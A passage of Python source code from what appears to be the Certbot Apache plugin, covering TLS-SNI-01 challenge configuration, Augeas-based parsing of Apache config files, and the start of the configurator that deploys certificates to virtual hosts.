        except (PluginError, MissingCommandlineFlag):
            # We couldn't find the virtualhost for this domain, possibly
            # because it's a new vhost that's not configured yet (GH #677),
            # or perhaps because there were multiple <VirtualHost> sections
            # in the config file (GH #1042).  See also GH #2600.
            logger.warning("Falling back to default vhost %s...", default_addr)
            addrs.add(default_addr)
            return addrs

        for addr in vhost.addrs:
            if "_default_" == addr.get_addr():
                addrs.add(default_addr)
            else:
                addrs.add(
                    addr.get_sni_addr(
                        self.configurator.config.tls_sni_01_port))

        return addrs

    def _conf_include_check(self, main_config):
        """Add TLS-SNI-01 challenge conf file into configuration.

        Adds TLS-SNI-01 challenge include file if it does not already exist
        within mainConfig

        :param str main_config: file path to main user apache config file

        """
        if len(self.configurator.parser.find_dir(
                parser.case_i("Include"), self.challenge_conf)) == 0:
            # print "Including challenge virtual host(s)"
            logger.debug("Adding Include %s to %s",
                         self.challenge_conf, parser.get_aug_path(main_config))
            self.configurator.parser.add_dir(
                parser.get_aug_path(main_config),
                "Include", self.challenge_conf)

    def _get_config_text(self, achall, ip_addrs):
        """Chocolate virtual server configuration text

        :param .KeyAuthorizationAnnotatedChallenge achall: Annotated
            TLS-SNI-01 challenge.

        :param list ip_addrs: addresses of challenged domain
            :class:`list` of type `~.obj.Addr`

        :returns: virtual host configuration text
        :rtype: str

        """
        ips = " ".join(str(i) for i in ip_addrs)
        document_root = os.path.join(
            self.configurator.config.work_dir, "tls_sni_01_page/")
        # TODO: Python docs is not clear how mutliline string literal
        # newlines are parsed on different platforms. At least on
        # Linux (Debian sid), when source file uses CRLF, Python still
        # parses it as "\n"... c.f.:
        # https://docs.python.org/2.7/reference/lexical_analysis.html
        return self.VHOST_TEMPLATE.format(
            vhost=ips,
            server_name=achall.response(achall.account_key).z_domain,
            ssl_options_conf_path=self.configurator.mod_ssl_conf,
            cert_path=self.get_cert_path(achall),
            key_path=self.get_key_path(achall),
            document_root=document_root).replace("\n", os.linesep)






"""ApacheParser is a member object of the ApacheConfigurator class."""
import fnmatch
import itertools
import logging
import os
import re
import subprocess

from certbot import errors

from certbot_apache import constants

logger = logging.getLogger(__name__)


class ApacheParser(object):
    """Class handles the fine details of parsing the Apache Configuration.

    .. todo:: Make parsing general... remove sites-available etc...

    :ivar str root: Normalized absolute path to the server root
        directory. Without trailing slash.
    :ivar set modules: All module names that are currently enabled.
    :ivar dict loc: Location to place directives, root - configuration origin,
        default - user config file, name - NameVirtualHost,

    """
    arg_var_interpreter = re.compile(r"\$\{[^ \}]*}")
    fnmatch_chars = set(["*", "?", "\\", "[", "]"])

    def __init__(self, aug, root, vhostroot, version=(2, 4)):
        # Note: Order is important here.

        # This uses the binary, so it can be done first.
        # https://httpd.apache.org/docs/2.4/mod/core.html#define
        # https://httpd.apache.org/docs/2.4/mod/core.html#ifdefine
        # This only handles invocation parameters and Define directives!
        self.parser_paths = {}
        self.variables = {}
        if version >= (2, 4):
            self.update_runtime_variables()

        self.aug = aug
        # Find configuration root and make sure augeas can parse it.
        self.root = os.path.abspath(root)
        self.loc = {"root": self._find_config_root()}
        self._parse_file(self.loc["root"])

        self.vhostroot = os.path.abspath(vhostroot)

        # This problem has been fixed in Augeas 1.0
        self.standardize_excl()

        # Temporarily set modules to be empty, so that find_dirs can work
        # https://httpd.apache.org/docs/2.4/mod/core.html#ifmodule
        # This needs to come before locations are set.
        self.modules = set()
        self.init_modules()

        # Set up rest of locations
        self.loc.update(self._set_locations())

        # Must also attempt to parse virtual host root
        self._parse_file(self.vhostroot + "/" +
                         constants.os_constant("vhost_files"))

        # check to see if there were unparsed define statements
        if version < (2, 4):
            if self.find_dir("Define", exclude=False):
                raise errors.PluginError("Error parsing runtime variables")

    def init_modules(self):
        """Iterates on the configuration until no new modules are loaded.

        ..todo:: This should be attempted to be done with a binary to avoid
            the iteration issue.  Else... parse and enable mods at same time.

        """
        # Since modules are being initiated... clear existing set.
        self.modules = set()
        matches = self.find_dir("LoadModule")

        iterator = iter(matches)
        # Make sure prev_size != cur_size for do: while: iteration
        prev_size = -1

        while len(self.modules) != prev_size:
            prev_size = len(self.modules)

            for match_name, match_filename in itertools.izip(
                    iterator, iterator):
                self.modules.add(self.get_arg(match_name))
                self.modules.add(
                    os.path.basename(self.get_arg(match_filename))[:-2] + "c")

    def update_runtime_variables(self):
        """"

        .. note:: Compile time variables (apache2ctl -V) are not used within
            the dynamic configuration files.  These should not be parsed or
            interpreted.

        .. todo:: Create separate compile time variables...
            simply for arg_get()

        """
        stdout = self._get_runtime_cfg()

        variables = dict()
        matches = re.compile(r"Define: ([^ \n]*)").findall(stdout)
        try:
            matches.remove("DUMP_RUN_CFG")
        except ValueError:
            return

        for match in matches:
            if match.count("=") > 1:
                logger.error("Unexpected number of equal signs in "
                             "runtime config dump.")
                raise errors.PluginError(
                    "Error parsing Apache runtime variables")
            parts = match.partition("=")
            variables[parts[0]] = parts[2]

        self.variables = variables

    def _get_runtime_cfg(self):  # pylint: disable=no-self-use
        """Get runtime configuration info.

        :returns: stdout from DUMP_RUN_CFG

        """
        try:
            proc = subprocess.Popen(
                constants.os_constant("define_cmd"),
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE)
            stdout, stderr = proc.communicate()

        except (OSError, ValueError):
            logger.error(
                "Error running command %s for runtime parameters!%s",
                constants.os_constant("define_cmd"), os.linesep)
            raise errors.MisconfigurationError(
                "Error accessing loaded Apache parameters: %s",
                constants.os_constant("define_cmd"))
        # Small errors that do not impede
        if proc.returncode != 0:
            logger.warning("Error in checking parameter list: %s", stderr)
            raise errors.MisconfigurationError(
                "Apache is unable to check whether or not the module is "
                "loaded because Apache is misconfigured.")

        return stdout

    def filter_args_num(self, matches, args):  # pylint: disable=no-self-use
        """Filter out directives with specific number of arguments.

        This function makes the assumption that all related arguments are given
        in order.  Thus /files/apache/directive[5]/arg[2] must come immediately
        after /files/apache/directive[5]/arg[1]. Runs in 1 linear pass.

        :param string matches: Matches of all directives with arg nodes
        :param int args: Number of args you would like to filter

        :returns: List of directives that contain # of arguments.
            (arg is stripped off)

        """
        filtered = []
        if args == 1:
            for i in range(len(matches)):
                if matches[i].endswith("/arg"):
                    filtered.append(matches[i][:-4])
        else:
            for i in range(len(matches)):
                if matches[i].endswith("/arg[%d]" % args):
                    # Make sure we don't cause an IndexError (end of list)
                    # Check to make sure arg + 1 doesn't exist
                    if (i == (len(matches) - 1) or
                            not matches[i + 1].endswith("/arg[%d]" %
                                                        (args + 1))):
                        filtered.append(matches[i][:-len("/arg[%d]" % args)])

        return filtered

    def add_dir_to_ifmodssl(self, aug_conf_path, directive, args):
        """Adds directive and value to IfMod ssl block.

        Adds given directive and value along configuration path within
        an IfMod mod_ssl.c block.  If the IfMod block does not exist in
        the file, it is created.

        :param str aug_conf_path: Desired Augeas config path to add directive
        :param str directive: Directive you would like to add, e.g. Listen
        :param args: Values of the directive; str "443" or list of str
        :type args: list

        """
        # TODO: Add error checking code... does the path given even exist?
        #       Does it throw exceptions?
        if_mod_path = self._get_ifmod(aug_conf_path, "mod_ssl.c")
        # IfModule can have only one valid argument, so append after
        self.aug.insert(if_mod_path + "arg", "directive", False)
        nvh_path = if_mod_path + "directive[1]"
        self.aug.set(nvh_path, directive)
        if len(args) == 1:
            self.aug.set(nvh_path + "/arg", args[0])
        else:
            for i, arg in enumerate(args):
                self.aug.set("%s/arg[%d]" % (nvh_path, i + 1), arg)

    def _get_ifmod(self, aug_conf_path, mod):
        """Returns the path to <IfMod mod> and creates one if it doesn't exist.

        :param str aug_conf_path: Augeas configuration path
        :param str mod: module ie. mod_ssl.c

        """
        if_mods = self.aug.match(("%s/IfModule/*[self::arg='%s']" %
                                  (aug_conf_path, mod)))
        if len(if_mods) == 0:
            self.aug.set("%s/IfModule[last() + 1]" % aug_conf_path, "")
            self.aug.set("%s/IfModule[last()]/arg" % aug_conf_path, mod)
            if_mods = self.aug.match(("%s/IfModule/*[self::arg='%s']" %
                                      (aug_conf_path, mod)))
        # Strip off "arg" at end of first ifmod path
        return if_mods[0][:len(if_mods[0]) - 3]

    def add_dir(self, aug_conf_path, directive, args):
        """Appends directive to the end fo the file given by aug_conf_path.

        .. note:: Not added to AugeasConfigurator because it may depend
            on the lens

        :param str aug_conf_path: Augeas configuration path to add directive
        :param str directive: Directive to add
        :param args: Value of the directive. ie. Listen 443, 443 is arg
        :type args: list or str

        """
        self.aug.set(aug_conf_path + "/directive[last() + 1]", directive)
        if isinstance(args, list):
            for i, value in enumerate(args, 1):
                self.aug.set(
                    "%s/directive[last()]/arg[%d]" % (aug_conf_path, i), value)
        else:
            self.aug.set(aug_conf_path + "/directive[last()]/arg", args)

    def find_dir(self, directive, arg=None, start=None, exclude=True):
        """Finds directive in the configuration.

        Recursively searches through config files to find directives
        Directives should be in the form of a case insensitive regex currently

        .. todo:: arg should probably be a list
        .. todo:: arg search currently only supports direct matching. It does
            not handle the case of variables or quoted arguments. This should
            be adapted to use a generic search for the directive and then do a
            case-insensitive self.get_arg filter

        Note: Augeas is inherently case sensitive while Apache is case
        insensitive.  Augeas 1.0 allows case insensitive regexes like
        regexp(/Listen/, "i"), however the version currently supported
        by Ubuntu 0.10 does not.  Thus I have included my own case insensitive
        transformation by calling case_i() on everything to maintain
        compatibility.

        :param str directive: Directive to look for
        :param arg: Specific value directive must have, None if all should
                    be considered
        :type arg: str or None

        :param str start: Beginning Augeas path to begin looking
        :param bool exclude: Whether or not to exclude directives based on
            variables and enabled modules

        """
        # Cannot place member variable in the definition of the function so...
        if not start:
            start = get_aug_path(self.loc["root"])

        # No regexp code
        # if arg is None:
        #     matches = self.aug.match(start +
        # "//*[self::directive='" + directive + "']/arg")
        # else:
        #     matches = self.aug.match(start +
        # "//*[self::directive='" + directive +
        #   "']/* [self::arg='" + arg + "']")

        # includes = self.aug.match(start +
        # "//* [self::directive='Include']/* [label()='arg']")

        regex = "(%s)|(%s)|(%s)" % (case_i(directive),
                                    case_i("Include"),
                                    case_i("IncludeOptional"))
        matches = self.aug.match(
            "%s//*[self::directive=~regexp('%s')]" % (start, regex))

        if exclude:
            matches = self._exclude_dirs(matches)

        if arg is None:
            arg_suffix = "/arg"
        else:
            arg_suffix = "/*[self::arg=~regexp('%s')]" % case_i(arg)

        ordered_matches = []

        # TODO: Wildcards should be included in alphabetical order
        # https://httpd.apache.org/docs/2.4/mod/core.html#include
        for match in matches:
            dir_ = self.aug.get(match).lower()
            if dir_ == "include" or dir_ == "includeoptional":
                ordered_matches.extend(self.find_dir(
                    directive, arg,
                    self._get_include_path(self.get_arg(match + "/arg")),
                    exclude))
            # This additionally allows Include
            if dir_ == directive.lower():
                ordered_matches.extend(self.aug.match(match + arg_suffix))

        return ordered_matches

    def get_arg(self, match):
        """Uses augeas.get to get argument value and interprets result.

        This also converts all variables and parameters appropriately.

        """
        value = self.aug.get(match)

        # No need to strip quotes for variables, as apache2ctl already does
        # this, but we do need to strip quotes for all normal arguments.

        # Note: normal argument may be a quoted variable
        # e.g. strip now, not later
        value = value.strip("'\"")

        variables = ApacheParser.arg_var_interpreter.findall(value)

        for var in variables:
            # Strip off ${ and }
            try:
                value = value.replace(var, self.variables[var[2:-1]])
            except KeyError:
                raise errors.PluginError("Error Parsing variable: %s" % var)

        return value

    def _exclude_dirs(self, matches):
        """Exclude directives that are not loaded into the configuration."""
        filters = [("ifmodule", self.modules), ("ifdefine", self.variables)]

        valid_matches = []

        for match in matches:
            for filter_ in filters:
                if not self._pass_filter(match, filter_):
                    break
            else:
                valid_matches.append(match)
        return valid_matches

    def _pass_filter(self, match, filter_):
        """Determine if directive passes a filter.

        :param str match: Augeas path
        :param list filter: list of tuples of form
            [("lowercase if directive", set of relevant parameters)]

        """
        match_l = match.lower()
        last_match_idx = match_l.find(filter_[0])

        while last_match_idx != -1:
            # Check args
            end_of_if = match_l.find("/", last_match_idx)
            # This should be aug.get (vars are not used e.g. parser.aug_get)
            expression = self.aug.get(match[:end_of_if] + "/arg")

            if expression.startswith("!"):
                # Strip off "!"
                if expression[1:] in filter_[1]:
                    return False
            else:
                if expression not in filter_[1]:
                    return False

            last_match_idx = match_l.find(filter_[0], end_of_if)

        return True

    def _get_include_path(self, arg):
        """Converts an Apache Include directive into Augeas path.

        Converts an Apache Include directive argument into an Augeas
        searchable path

        .. todo:: convert to use os.path.join()

        :param str arg: Argument of Include directive

        :returns: Augeas path string
        :rtype: str

        """
        # Check to make sure only expected characters are used <- maybe remove
        # validChars = re.compile("[a-zA-Z0-9.*?_-/]*")
        # matchObj = validChars.match(arg)
        # if matchObj.group() != arg:
        #     logger.error("Error: Invalid regexp characters in %s", arg)
        #     return []

        # Remove beginning and ending quotes
        arg = arg.strip("'\"")

        # Standardize the include argument based on server root
        if not arg.startswith("/"):
            # Normpath will condense ../
            arg = os.path.normpath(os.path.join(self.root, arg))
        else:
            arg = os.path.normpath(arg)

        # Attempts to add a transform to the file if one does not already exist
        if os.path.isdir(arg):
            self._parse_file(os.path.join(arg, "*"))
        else:
            self._parse_file(arg)

        # Argument represents an fnmatch regular expression, convert it
        # Split up the path and convert each into an Augeas accepted regex
        # then reassemble
        split_arg = arg.split("/")
        for idx, split in enumerate(split_arg):
            if any(char in ApacheParser.fnmatch_chars for char in split):
                # Turn it into a augeas regex
                # TODO: Can this instead be an augeas glob instead of regex
                split_arg[idx] = ("* [label()=~regexp('%s')]" %
                                  self.fnmatch_to_re(split))
        # Reassemble the argument
        # Note: This also normalizes the argument /serverroot/ -> /serverroot
        arg = "/".join(split_arg)

        return get_aug_path(arg)

    def fnmatch_to_re(self, clean_fn_match):  # pylint: disable=no-self-use
        """Method converts Apache's basic fnmatch to regular expression.

        Assumption - Configs are assumed to be well-formed and only writable by
        privileged users.

        https://apr.apache.org/docs/apr/2.0/apr__fnmatch_8h_source.html
        http://apache2.sourcearchive.com/documentation/2.2.16-6/apr__fnmatch_8h_source.html

        :param str clean_fn_match: Apache style filename match, like globs

        :returns: regex suitable for augeas
        :rtype: str

        """
        # This strips off final /Z(?ms)
        return fnmatch.translate(clean_fn_match)[:-7]

    def _parse_file(self, filepath):
        """Parse file with Augeas

        Checks to see if file_path is parsed by Augeas
        If filepath isn't parsed, the file is added and Augeas is reloaded

        :param str filepath: Apache config file path

        """
        use_new, remove_old = self._check_path_actions(filepath)
        # Test if augeas included file for Httpd.lens
        # Note: This works for augeas globs, ie. *.conf
        if use_new:
            inc_test = self.aug.match(
                "/augeas/load/Httpd['%s' =~ glob(incl)]" % filepath)
            if not inc_test:
                # Load up files
                # This doesn't seem to work on TravisCI
                # self.aug.add_transform("Httpd.lns", [filepath])
                if remove_old:
                    self._remove_httpd_transform(filepath)
                self._add_httpd_transform(filepath)
                self.aug.load()

    def _check_path_actions(self, filepath):
        """Determine actions to take with a new augeas path

        This helper function will return a tuple that defines
        if we should try to append the new filepath to augeas
        parser paths, and / or remove the old one with more
        narrow matching.

        :param str filepath: filepath to check the actions for

        """

        try:
            new_file_match = os.path.basename(filepath)
            existing_matches = self.parser_paths[os.path.dirname(filepath)]
            if "*" in existing_matches:
                use_new = False
            else:
                use_new = True
            if new_file_match == "*":
                remove_old = True
            else:
                remove_old = False
        except KeyError:
            use_new = True
            remove_old = False
        return use_new, remove_old

    def _remove_httpd_transform(self, filepath):
        """Remove path from Augeas transform

        :param str filepath: filepath to remove
        """

        remove_basenames = self.parser_paths[os.path.dirname(filepath)]
        remove_dirname = os.path.dirname(filepath)
        for name in remove_basenames:
            remove_path = remove_dirname + "/" + name
            remove_inc = self.aug.match(
                "/augeas/load/Httpd/incl [. ='%s']" % remove_path)
            self.aug.remove(remove_inc[0])
        self.parser_paths.pop(remove_dirname)

    def _add_httpd_transform(self, incl):
        """Add a transform to Augeas.

        This function will correctly add a transform to augeas
        The existing augeas.add_transform in python doesn't seem to work for
        Travis CI as it loads in libaugeas.so.0.10.0

        :param str incl: filepath to include for transform

        """
        last_include = self.aug.match("/augeas/load/Httpd/incl [last()]")
        if last_include:
            # Insert a new node immediately after the last incl
            self.aug.insert(last_include[0], "incl", False)
            self.aug.set("/augeas/load/Httpd/incl[last()]", incl)
        # On first use... must load lens and add file to incl
        else:
            # Augeas uses base 1 indexing... insert at beginning...
            self.aug.set("/augeas/load/Httpd/lens", "Httpd.lns")
            self.aug.set("/augeas/load/Httpd/incl", incl)
        # Add included path to paths dictionary
        try:
            self.parser_paths[os.path.dirname(incl)].append(
                os.path.basename(incl))
        except KeyError:
            self.parser_paths[os.path.dirname(incl)] = [
                os.path.basename(incl)]

    def standardize_excl(self):
        """Standardize the excl arguments for the Httpd lens in Augeas.

        Note: Hack!
        Standardize the excl arguments for the Httpd lens in Augeas
        Servers sometimes give incorrect defaults
        Note: This problem should be fixed in Augeas 1.0.  Unfortunately,
        Augeas 0.10 appears to be the most popular version currently.

        """
        # attempt to protect against augeas error in 0.10.0 - ubuntu
        # *.augsave -> /*.augsave upon augeas.load()
        # Try to avoid bad httpd files
        # There has to be a better way... but after a day and a half of testing
        # I had no luck
        # This is a hack... work around... submit to augeas if still not fixed

        excl = ["*.augnew", "*.augsave", "*.dpkg-dist", "*.dpkg-bak",
                "*.dpkg-new", "*.dpkg-old", "*.rpmsave", "*.rpmnew",
                "*~",
                self.root + "/*.augsave",
                self.root + "/*~",
                self.root + "/*/*augsave",
                self.root + "/*/*~",
                self.root + "/*/*/*.augsave",
                self.root + "/*/*/*~"]

        for i, excluded in enumerate(excl, 1):
            self.aug.set("/augeas/load/Httpd/excl[%d]" % i, excluded)

        self.aug.load()

    def _set_locations(self):
        """Set default location for directives.

        Locations are given as file_paths
        .. todo:: Make sure that files are included

        """
        default = self.loc["root"]

        temp = os.path.join(self.root, "ports.conf")
        if os.path.isfile(temp):
            listen = temp
            name = temp
        else:
            listen = default
            name = default

        return {"default": default, "listen": listen, "name": name}

    def _find_config_root(self):
        """Find the Apache Configuration Root file."""
        location = ["apache2.conf", "httpd.conf", "conf/httpd.conf"]
        for name in location:
            if os.path.isfile(os.path.join(self.root, name)):
                return os.path.join(self.root, name)

        raise errors.NoInstallationError("Could not find configuration root")


def case_i(string):
    """Returns case insensitive regex.

    Returns a sloppy, but necessary version of a case insensitive regex.
    Any string should be able to be submitted and the string is
    escaped and then made case insensitive.
    May be replaced by a more proper /i once augeas 1.0 is widely
    supported.

    :param str string: string to make case i regex

    """
    return "".join(["[" + c.upper() + c.lower() + "]"
                    if c.isalpha() else c for c in re.escape(string)])


def get_aug_path(file_path):
    """Return augeas path for full filepath.

    :param str file_path: Full filepath

    """
    return "/files%s" % file_path






"""Apache Configuration based off of Augeas Configurator."""
# pylint: disable=too-many-lines
import filecmp
import logging
import os
import re
import shutil
import socket
import time

import zope.component
import zope.interface

from acme import challenges

from certbot import errors
from certbot import interfaces
from certbot import util

from certbot.plugins import common
from certbot.plugins.util import path_surgery

from certbot_apache import augeas_configurator
from certbot_apache import constants
from certbot_apache import display_ops
from certbot_apache import tls_sni_01
from certbot_apache import obj
from certbot_apache import parser

from collections import defaultdict

logger = logging.getLogger(__name__)


# TODO: Augeas sections ie. <VirtualHost>, <IfModule> beginning and closing
# tags need to be the same case, otherwise Augeas doesn't recognize them.
# This is not able to be completely remedied by regular expressions because
# Augeas views <VirtualHost> </Virtualhost> as an error. This will just
# require another check_parsing_errors() after all files are included...
# (after a find_directive search is executed currently). It can be a one
# time check however because all of LE's transactions will ensure
# only properly formed sections are added.

# Note: This protocol works for filenames with spaces in it, the sites are
# properly set up and directives are changed appropriately, but Apache won't
# recognize names in sites-enabled that have spaces. These are not added to the
# Apache configuration. It may be wise to warn the user if they are trying
# to use vhost filenames that contain spaces and offer to change ' ' to '_'

# Note: FILEPATHS and changes to files are transactional.  They are copied
# over before the updates are made to the existing files. NEW_FILES is
# transactional due to the use of register_file_creation()


# TODO: Verify permissions on configuration root... it is easier than
#     checking permissions on each of the relative directories and less error
#     prone.
# TODO: Write a server protocol finder. Listen <port> <protocol> or
#     Protocol <protocol>.  This can verify partial setups are correct
# TODO: Add directives to sites-enabled... not sites-available.
#     sites-available doesn't allow immediate find_dir search even with save()
#     and load()

@zope.interface.implementer(interfaces.IAuthenticator, interfaces.IInstaller)
@zope.interface.provider(interfaces.IPluginFactory)
class ApacheConfigurator(augeas_configurator.AugeasConfigurator):
    # pylint: disable=too-many-instance-attributes,too-many-public-methods
    """Apache configurator.

    State of Configurator: This code has been been tested and built for Ubuntu
    14.04 Apache 2.4 and it works for Ubuntu 12.04 Apache 2.2

    :ivar config: Configuration.
    :type config: :class:`~certbot.interfaces.IConfig`

    :ivar parser: Handles low level parsing
    :type parser: :class:`~certbot_apache.parser`

    :ivar tup version: version of Apache
    :ivar list vhosts: All vhosts found in the configuration
        (:class:`list` of :class:`~certbot_apache.obj.VirtualHost`)

    :ivar dict assoc: Mapping between domains and vhosts

    """

    description = "Apache Web Server plugin - Beta"

    @classmethod
    def add_parser_arguments(cls, add):
        add("enmod", default=constants.os_constant("enmod"),
            help="Path to the Apache 'a2enmod' binary.")
        add("dismod", default=constants.os_constant("dismod"),
            help="Path to the Apache 'a2dismod' binary.")
        add("le-vhost-ext", default=constants.os_constant("le_vhost_ext"),
            help="SSL vhost configuration extension.")
        add("server-root", default=constants.os_constant("server_root"),
            help="Apache server root directory.")
        add("vhost-root", default=constants.os_constant("vhost_root"),
            help="Apache server VirtualHost configuration root")
        add("challenge-location",
            default=constants.os_constant("challenge_location"),
            help="Directory path for challenge configuration.")
        add("handle-modules", default=constants.os_constant("handle_mods"),
            help="Let installer handle enabling required modules for you." +
                 "(Only Ubuntu/Debian currently)")
        add("handle-sites", default=constants.os_constant("handle_sites"),
            help="Let installer handle enabling sites for you." +
                 "(Only Ubuntu/Debian currently)")
        util.add_deprecated_argument(add, argument_name="ctl", nargs=1)
        util.add_deprecated_argument(
            add, argument_name="init-script", nargs=1)

    def __init__(self, *args, **kwargs):
        """Initialize an Apache Configurator.

        :param tup version: version of Apache as a tuple (2, 4, 7)
            (used mostly for unittesting)

        """
        version = kwargs.pop("version", None)
        super(ApacheConfigurator, self).__init__(*args, **kwargs)

        # Add name_server association dict
        self.assoc = dict()
        # Outstanding challenges
        self._chall_out = set()
        # Maps enhancements to vhosts we've enabled the enhancement for
        self._enhanced_vhosts = defaultdict(set)

        # These will be set in the prepare function
        self.parser = None
        self.version = version
        self.vhosts = None
        self._enhance_func = {"redirect": self._enable_redirect,
                              "ensure-http-header": self._set_http_header,
                              "staple-ocsp": self._enable_ocsp_stapling}

    @property
    def mod_ssl_conf(self):
        """Full absolute path to SSL configuration file."""
        return os.path.join(self.config.config_dir,
                            constants.MOD_SSL_CONF_DEST)


    def prepare(self):
        """Prepare the authenticator/installer.

        :raises .errors.NoInstallationError: If Apache configs cannot be found
        :raises .errors.MisconfigurationError: If Apache is misconfigured
        :raises .errors.NotSupportedError: If Apache version is not supported
        :raises .errors.PluginError: If there is any other error

        """
        # Perform the actual Augeas initialization to be able to react
        try:
            self.init_augeas()
        except ImportError:
            raise errors.NoInstallationError("Problem in Augeas installation")

        # Verify Apache is installed
        restart_cmd = constants.os_constant("restart_cmd")[0]
        if not util.exe_exists(restart_cmd):
            if not path_surgery(restart_cmd):
                raise errors.NoInstallationError(
                    'Cannot find Apache control command {0}'.format(restart_cmd))

        # Make sure configuration is valid
        self.config_test()

        # Set Version
        if self.version is None:
            self.version = self.get_version()
        if self.version < (2, 2):
            raise errors.NotSupportedError(
                "Apache Version %s not supported.", str(self.version))

        if not self._check_aug_version():
            raise errors.NotSupportedError(
                "Apache plugin support requires libaugeas0 and augeas-lenses "
                "version 1.2.0 or higher, please make sure you have you have "
                "those installed.")

        self.parser = parser.ApacheParser(
            self.aug, self.conf("server-root"), self.conf("vhost-root"),
            self.version)
        # Check for errors in parsing files with Augeas
        self.check_parsing_errors("httpd.aug")

        # Get all of the available vhosts
        self.vhosts = self.get_virtual_hosts()

        install_ssl_options_conf(self.mod_ssl_conf)

    def _check_aug_version(self):
        """ Checks that we have recent enough version of libaugeas.
        If augeas version is recent enough, it will support case insensitive
        regexp matching"""

        self.aug.set("/test/path/testing/arg", "aRgUMeNT")
        try:
            matches = self.aug.match(
                "/test//*[self::arg=~regexp('argument', 'i')]")
        except RuntimeError:
            self.aug.remove("/test/path")
            return False
        self.aug.remove("/test/path")
        return matches

    def deploy_cert(self, domain, cert_path, key_path,
                    chain_path=None, fullchain_path=None):
        """Deploys certificate to specified virtual host.

        Currently tries to find the last directives to deploy the cert in
        the VHost associated with the given domain. If it can't find the
        directives, it searches the "included" confs. The function verifies
        that it has located the three directives and finally modifies them
        to point to the correct destination. After the certificate is
        installed, the VirtualHost is enabled if it isn't already.

        .. todo:: Might be nice to remove chain directive if none exists
                  This shouldn't happen within certbot though

        :raises errors.PluginError: When unable to deploy certificate due to
            a lack of directives

        """
        vhost = self.choose_vhost(domain)
        self._clean_vhost(vhost)

        # This is done first so that ssl module is enabled and cert_path,
        # cert_key... can all be parsed appropriately
        self.prepare_server_https("443")

        path = {"cert_path": self.parser.find_dir("SSLCertificateFile",
                                                  None, vhost.path),
                "cert_key": self.parser.find_dir("SSLCertificateKeyFile",
                                                 None, vhost.path)}

        # Only include if a certificate chain is specified
        if chain_path is not None:
            path["chain_path"] = self.parser.find_dir(
                "SSLCertificateChainFile", None, vhost.path)

        if not path["cert_path"] or not path["cert_key"]:
            # Throw some can't find all of the directives error"
            logger.warning(
                "Cannot find a cert or key directive in %s. "
                "VirtualHost was not modified", vhost.path)
            # Presumably break here so that the virtualhost is not modified
            raise errors.PluginError(
                "Unable to find cert and/or key directives")

        logger.info("Deploying Certificate to VirtualHost %s", vhost.filep)
        logger.debug("Apache version is %s",
                     ".".join(str(i) for i in self.version))

        if self.version < (2, 4, 8) or (chain_path and not fullchain_path):
            # install SSLCertificateFile, SSLCertificateKeyFile,
            # and SSLCertificateChainFile directives
            set_cert_path = cert_path
            self.aug.set(path["cert_path"][-1], cert_path)
            self.aug.set(path["cert_key"][-1], key_path)
            if chain_path is not None:
                self.parser.add_dir(vhost.path,
                                    "SSLCertificateChainFile", chain_path)
            else:
                raise errors.PluginError("--chain-path is required for your "
                                         "version of Apache")
        else:
            if not fullchain_path:
                raise errors.PluginError("Please provide the --fullchain-path\
 option pointing to your full chain file")
            set_cert_path = fullchain_path
            self.aug.set(path["cert_path"][-1], fullchain_path)
            self.aug.set(path["cert_key"][-1], key_path)

        # Save notes about the transaction that took place
        self.save_notes += ("Changed vhost at %s with addresses of %s\n"
                            "\tSSLCertificateFile %s\n"
                            "\tSSLCertificateKeyFile %s\n" %
                            (vhost.filep,
                             ", ".join(str(addr) for addr in vhost.addrs),
                             set_cert_path, key_path))
        if chain_path is not None:
            self.save_notes += "\tSSLCertificateChainFile %s\n" % chain_path

        # Make sure vhost is enabled if distro with enabled / available
        if self.conf("handle-sites"):
            if not vhost.enabled:
                self.enable_site(vhost)

    def choose_vhost(self, target_name, temp=False):
        """Chooses a virtual host based on the given domain name.

        If there is no clear virtual host to be selected, the user is prompted
        with all available choices.

        The returned vhost is guaranteed to have TLS enabled unless temp is
        True. If temp is True, there is no such guarantee and the result is
        not cached.

        :param str target_name: domain name
        :param bool temp: whether the vhost is only used temporarily

        :returns: ssl vhost associated with name
        :rtype: :class:`~certbot_apache.obj.VirtualHost`

        :raises .errors.PluginError: If no vhost is available or chosen

        """
        # Allows for domain names to be associated with a virtual host
        if target_name in self.assoc:
            return self.assoc[target_name]

        # Try to find a reasonable vhost
        vhost = self._find_best_vhost(target_name)
        if vhost is not None:
            if temp:
                return vhost
            if not vhost.ssl:
                vhost = self.make_vhost_ssl(vhost)

            self._add_servername_alias(target_name, vhost)
            self.assoc[target_name] = vhost
            return vhost

        return self._choose_vhost_from_list(target_name, temp)

    def _choose_vhost_from_list(self, target_name, temp=False):
        # Select a vhost from a list
        vhost = display_ops.select_vhost(target_name, self.vhosts)
        if vhost is None:
            logger.error(
                "No vhost exists with servername or alias of: %s "
                "(or it's in a file with multiple vhosts, which Certbot "
                "can't parse yet). "
                "No vhost was selected. Please specify ServerName or ServerAlias "
                "in the Apache config, or split vhosts into separate files.",
                target_name)
            raise errors.PluginError("No vhost selected")
        elif temp:
            return vhost
        elif not vhost.ssl:
            addrs = self._get_proposed_addrs(vhost, "443")
            # TODO: Conflicts is too conservative
            if not any(vhost.enabled and vhost.conflicts(addrs) for
                       vhost in self.vhosts):
                vhost = self.make_vhost_ssl(vhost)
            else:
                logger.error(
                    "The selected vhost would conflict with other HTTPS "
                    "VirtualHosts within Apache. Please select another "
                    "vhost or add ServerNames to your configuration.")
                raise errors.PluginError(
                    "VirtualHost not able to be selected.")

        self._add_servername_alias(target_name, vhost)
        self.assoc[target_name] = vhost
        return vhost

    def included_in_wildcard(self, names, target_name):
        """Helper function to see if alias is covered by wildcard"""
        target_name = target_name.split(".")[::-1]
        wildcards = [domain.split(".")[1:] for domain in
                     names if domain.startswith("*")]
        for wildcard in wildcards:
            if len(wildcard) > len(target_name):
                continue
            for idx, segment in enumerate(wildcard[::-1]):
                if segment != target_name[idx]:
                    break
            else:
                # https://docs.python.org/2/tutorial/controlflow.html#break-and-continue-statements-and-else-clauses-on-loops
                return True
        return False

    def _find_best_vhost(self, target_name):
        """Finds the best vhost for a target_name.

        This does not upgrade a vhost to HTTPS... it only finds the most
        appropriate vhost for the given target_name.

        :returns: VHost or None

        """
        # Points 6 - Servername SSL
        # Points 5 - Wildcard SSL
        # Points 4 - Address name with SSL
        # Points 3 - Servername no SSL
        # Points 2 - Wildcard no SSL
        # Points 1 - Address name with no SSL
        best_candidate = None
        best_points = 0
        for vhost in self.vhosts:
            if vhost.modmacro is True:
                continue
            names = vhost.get_names()
            if target_name in names:
                points = 3
            elif self.included_in_wildcard(names, target_name):
                points = 2
